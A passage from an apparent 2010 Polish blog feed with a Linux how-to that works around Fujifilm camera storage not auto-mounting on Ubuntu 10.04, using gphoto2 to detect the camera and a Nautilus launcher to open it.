src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5366458013055954146" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-77271901773498934182010-06-24T09:10:00.008+02:002010-07-01T08:08:56.397+02:00Ubuntu 10.04 - Problem z aparatem Fujifilm.Zauważyłem w <span style="font-weight:bold;">Ubuntu 10.04</span> x86_64 pewien problem z auto-montowaniem pamięci aparatu marki Fujifilm (nie wiem czy problem ten występuje również z innymi modelami). W <span style="font-style:italic;">dmesg</span> wszystko wygląda w porządku tak jakby system wykrywał aparat - jednak żadna ikonka nie pojawia się na pulpicie, co dla początkujących użytkowników może stanowić zaporę nie do przejścia. <br /><br />Na początek jak obsługiwać gphoto2:<br /><br /><blockquote><br />linux@ubuntu:~$ gphoto2 --list-ports<br />Devices found: 4<br />Path Description<br />--------------------------------------------------------------<br />serial:/dev/ttyS0 Serial Port 0 <br />serial:/dev/ttyS2 Serial Port 2 <br />serial:/dev/ttyS3 Serial Port 3 <br />usb: Universal Serial Bus <br /></blockquote><br />Powyższe polecenie powinno nam wypisać wszsytkie porty, które widzi gphoto2 dla potencjalnie podłączonego urządzenia aparatu. <br /><br /><br />Po podłączeniu aparatu sprawdźmy czy gphoto2 "widzi" nasz aparat:<br /><blockquote><br />linux@ubuntu:~$ gphoto2 --auto-detect<br />Model Port <br />----------------------------------------------------------<br />NAZWA_APARATU usb: </blockquote><br /><br /><br />Jednym z rozwiązań tego problemu może okazać się proste utworzenie aktywatora na pulpicie/panelu lub gdziekolwiek indziej. Jako polecenie uruchomieniowe wystarczy odpalić menadżera okien Nautilus z odpowiednimi parametrami:<br /><br /><blockquote>nautilus --browser gphoto2://[usb:001,004]/</blockquote><br /><br />Po podłączeniu aparatu do portu USB wystarczy odpalić nasz aktywator i aparat powinien się prawidłowo zamontować z dostępem do odczytu i zapisu. Nie zapomnij odmontować/bezpiecznie usunąć tego aparatu z systemu zanim odepniesz kabel od komputera - dbaj o swój sprzęt :)<br /><br />Artykuł udostępniany na licencji CC-BY-SA-3.0<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://creativecommons.org/licenses/by-sa/3.0/pl/"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 100px; height: 70px;" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5366458013055954146" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com2